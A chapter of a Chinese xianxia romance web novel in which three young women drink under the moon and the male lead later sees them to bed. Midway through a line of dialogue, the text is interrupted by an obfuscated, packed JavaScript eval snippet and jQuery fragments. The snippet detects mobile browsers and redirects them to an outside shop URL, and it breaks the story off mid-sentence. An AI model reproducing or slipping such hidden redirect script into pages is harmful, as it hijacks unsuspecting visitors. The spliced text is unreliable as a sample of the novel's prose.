11. 月下共饮

作品:《美强惨师姐被救后

    她饶有兴致的看着那位步履匆匆的迟绪,见他过来坐在自己身旁,将一枚食盒放下,弯腰看了眼棋局,拿起一枚黑棋落下一子。


    他身着一身白衣,鎏金刺绣倒是与澜郁身上的差不多,收紧的设计衬他腰身,长身玉立。


    他一凑近,淡淡的香便萦绕过来,澜郁的心跳莫名的加快。


    即他来了,澜郁自是不愿在这呆了,扶着棋桌欲起给他让位,下棋枯燥,而且太费脑子,澜郁所幸逃到一边,静观棋局。


    澜郁挪到旁边,将食盒拿到旁边桌子上,背对着他们,满心欢喜的打开,先是看见了莲花酥,旁边则是各种精致的点心,澜郁将她们一个一个拿出来。


    正准备吃呢,听见一道声音“食盒底层是你的药,安心喝了再用点心。”


    澜郁脸色瞬间耷拉下来,眼珠子转的像是想到什么好主意,又听到“听清月师姐说,你将前几日的药倒了,今日我在这看着你喝下去。”


    澜郁转身过去,笑容恰到好处“不打扰公子与前辈下棋了,我回去再用,回去再用。”


    药看着黑漆漆的,闻着就苦,她宁愿一直病着,也不愿去喝!


    呜呜呜,清月不是我的好姐妹了,说好的同甘共苦呢,骗子!


    贺迟绪又落下一子,懒洋洋的掀起眼帘瞧去看热闹的父亲,用力点了点棋盘,不满的回看他一眼。


    眼睑落下再起来,又是那副温吞吞的性子,温言劝道“喝药好的快啊,你那身体还需要好好养着,即如此,我陪你一道回去,看你用药。”


    倒是没想到他竟吃定了她不用,倔强的看着他,两人相望,不带有一点妥协。


    到底是澜郁寄人篱下,轻哼一声,看了眼黑漆漆的药碗,娥眉微拧,闭眼喝了下去,苦意将澜郁从头到脚淋了个遍。


    贺砚修原本看热闹般下棋,然后遭了自家儿子一记眼刀才安分下来,只竖着两耳朵听着,这小子什么时候能这样对我好好说话,不过也多亏这位姑娘,这小子好久没陪我下棋了。


    这难得静谧且温情的午后啊,久违了。


    澜郁拿起食盒里带着的小夹子,慢条斯理的吃着莲花酥,毕竟拿人手短,又拿出两个空盘,将点心各夹了些,放在两人面前,只放在贺迟绪面前时,力道大了些。


    石桌上的点心被吃的差不多,澜郁撑着脑袋如蜻蜓点水般时不时下坠,猛得惊醒,摇摇头,又撑在那打着哈欠。


    待人一走,贺迟绪便将手里的棋子摔进棋奁,语气不虞道“父亲大人这是作甚,不就是拿了块残幽玉佩,何至于此。”


    “嘿,人家小姑娘给你气受,洒我身上干什么,我不过是看她一个人孤孤单单的,说了会话,你就急匆匆的赶来了。”贺砚修一看将棋子一个一个捡回去。


    贺迟绪往后一倒“谁急匆匆了,你别含血喷人。”


    云昭成了幽都的贵客,是贺家家主贺砚修亲自颁发的文书,幽都各家都恨不得把脑袋伸到贺家来看上一眼,毕竟幽都最起码有百年没有贵客了。


    澜郁听到这个消息的时候正与贺晚苡护肤聊天呢,两个人躺在躺椅上,悠哉悠哉。


    澜郁听清月师姐说,睁开眼睛“贵客与现在有差别呢?”


    清月将果子扒开,将果仁塞进嘴里,仔细一想,好像没什么区别,师弟对她的好像比贵客待遇还好,绞尽脑汁想到一个“姑娘再出去的话,身份一亮,有无师弟都会受人礼重的。”


    旁边那位睁开了眼,将黄瓜一扔,素手伸进果盘拿起一个橘子,扒开后黄澄澄的果肉,分成三份递给两位姐姐“姐姐别想那么多,总归一句话,以后你可以在幽都横着走啦!”


    澜郁接过来,果汁丰富,酸酸甜甜的,顺着晚苡的话点点头“听着还行,待事情一了,我便走啦,希望我在外面闯出一片天。”


    贺晚苡动作一滞,瞬间起身,跨过小桌,蹲在澜郁旁边“姐姐,你要走?贺家不好吗?”


    “九州六域的美景我还未去看过,风土人情还未去领略,山川湖海,层峦叠嶂,大好河山等着我呢。”澜郁抚上晚苡的手,温言,“贺家不是我的归宿,总要走的呀,说不定我的亲人朋友在等着我回去呢。”


    贺晚苡急切的说“你要想在幽都,没人拦你的,姐姐,多待几天嘛,你若走了,咱们就要好长好长时间不见了,我舍不得你。”


    “对啊,多待几天嘛,九川湖海什么时候不能看,到时我陪你!”清月道


    三人相处就像是亲姐妹,三人一有时间就凑在一起,聊八卦挑衣服,研究首饰发型。关系呐,就像是相遇数百年的挚友一般,有时她的一个眼神,另一个就瞬间了然为她打配合。


    澜郁一开始是把晚苡拿妹妹一般看待,后来相处久了,发现更适合当朋友,当那无话不谈的知己。


    自是看不得好友撒娇,一来她伤还未好透,贺公子教的那套功法澜郁还未练透,没有自保能力她不敢擅自行动。二来那案子还未查出来,仅仅是有眉目,为时尚早。


    澜郁今日说这话也是提前为贺晚苡打个预防针,这些日子看出来晚苡是个大小姐脾气,若她真的一声不吭就走了,保不齐这孩子余生都不理她了。


    “还早呢,让我们把握好当下!今天我们吃露天涮肉怎么样!”澜郁转移话题。


    晚苡待在幽都好不容易有个朋友,自然不想让她走,可父亲说每个人都有每个人的选择,她也知道自己劝不动云昭姐姐。


    一听晚上有涮肉吃,两眼放光,跟着云昭姐姐就有好吃的,也不知道她那配方是如何调制的,好吃极了,问她也不告诉,只能趁这几天多尝尝鲜,随口问道“好哎,哥哥来吗?”


    “晚苡,你不乖哦,咱们姐妹间吃饭喊他干嘛,等晚上我去问小厨房要一瓶桃花酿,咱们三个不醉不归。”澜郁将手搭在贺晚苡和清月肩上,低声密谋。


    三人就这般敲定了时间。


    月亮高悬于顶,星河灿烂,铜锅涮着肉,蘸着澜郁独门秘方,酒杯碰撞酒水荡起波纹,三个小姑娘把酒言欢,畅谈未来。


    “我一定会步入大乘期,不做旁人眼里眼中的花瓶小姐!撑起幽


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13252233|139659||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都一片天!”贺晚苡举起酒杯,醉醺醺的大声喊道。


    “我要开宗论道,让世间女郎皆有学可上,有道可修!不做男人眼中的附属品!”清月举起酒杯,也跟着大喊。


    “我一定会想起来的,届时九州风光尽在我脚下!惩奸除恶,匡扶大义!”澜郁亦跟着。


    酒醉壮人胆,三位姑娘高谈论阔,把压在心底的委屈都说了出来,哭着笑着,互相安慰着。


    这是独属于她们的时光,酒壶空了一壶又一壶,三个人还对着月亮唱起了不成调的歌,最后疯到夜半才罢休。


    澜郁的院子是与贺迟绪的是挨着的,迟绪仪事回来,听见那边闹哄哄的,想来也是姑娘家的聚会,放开玩也属正常。


    提前让人准备了醒酒汤备着,将她院里的人都撤了,布了个防音结界,就安心进书房看折子了。


    折子批完后,预估着那边也消停了,撤了结界,果然安静下来。


    端着醒酒汤过去,一进院门就看见零零散散的酒壶,还挺能喝,三个歪七扭八的趴着桌子上睡着。


    贺迟绪弯腰把醒酒汤放下,给陆颂今发了条传音“你再不来,清月师姐可就要露宿街头了。”


    把位置说清,就不管了,怕她们一会发起酒疯割伤自个,就把酒壶利器都放在一边,其他的捏了个水纹咒,瞬间就干净了。


    又一一把她们叫醒,还挨了清月一手刀,行,看你是师姐,我忍了。又挨了晚苡一声滚,得,你还学会骂人了。


    至于那个……还是别叫了。


    “姑奶奶们,起来喝完醒酒汤再睡好不好?”


    唉,不喝就不喝吧。


    闪进来一个身影,迟绪再凝神就看见陆颂今正一脸严肃的看着清月师姐,正要开口劝,还未听清师姐低声嘟嚷了什么,就见陆颂今一脸无奈的将清月拦腰抱起,消失了。


    贺迟绪拎着晚苡的衣领,将她安置在西厢房,将她唤醒警告道“贺晚苡,你再骂一句试试看呢?”


    贺晚苡正要咧嘴再骂,对上自家哥哥似笑非笑的表情,瞬间酒就醒了一半。又听见一句贺晚苡,再醉的酒都要醒了,不然就醒不过来了啊。


    然后她像个鹌鹑一样在她哥注视下喝完一大碗醒酒汤,可怜兮兮的软声说了句“哥哥,头疼。”


    贺迟绪拿出颗白色药丸,倒了杯温水一并递去“下次别喝这么多了,伤身体,喝完就快睡吧。”


    令他头疼的是这位,这可怎么办,硬着头皮把澜郁喊醒“云姑娘?云姑娘?醒醒,回去睡。”


    澜郁迷糊糊的睁开眼,摇摇晃晃的往屋里走去,待到下台阶,险些绊倒,就被一道力接着,然后就感觉重心一轻,被人抱起来。


    他怀里的香气好像换了一种,比草药味好闻,有种心安的感觉,澜郁往怀里缩了缩,手腕搭在他的脖子上,依偎着。


    贺迟绪快将她放下的时候,有些贪恋怀里的温度,但也只是贪恋。


    看着她熟睡的面庞,联想起在隔壁听到了那句话,喃喃道出了疑惑“为什么一定要走呢。”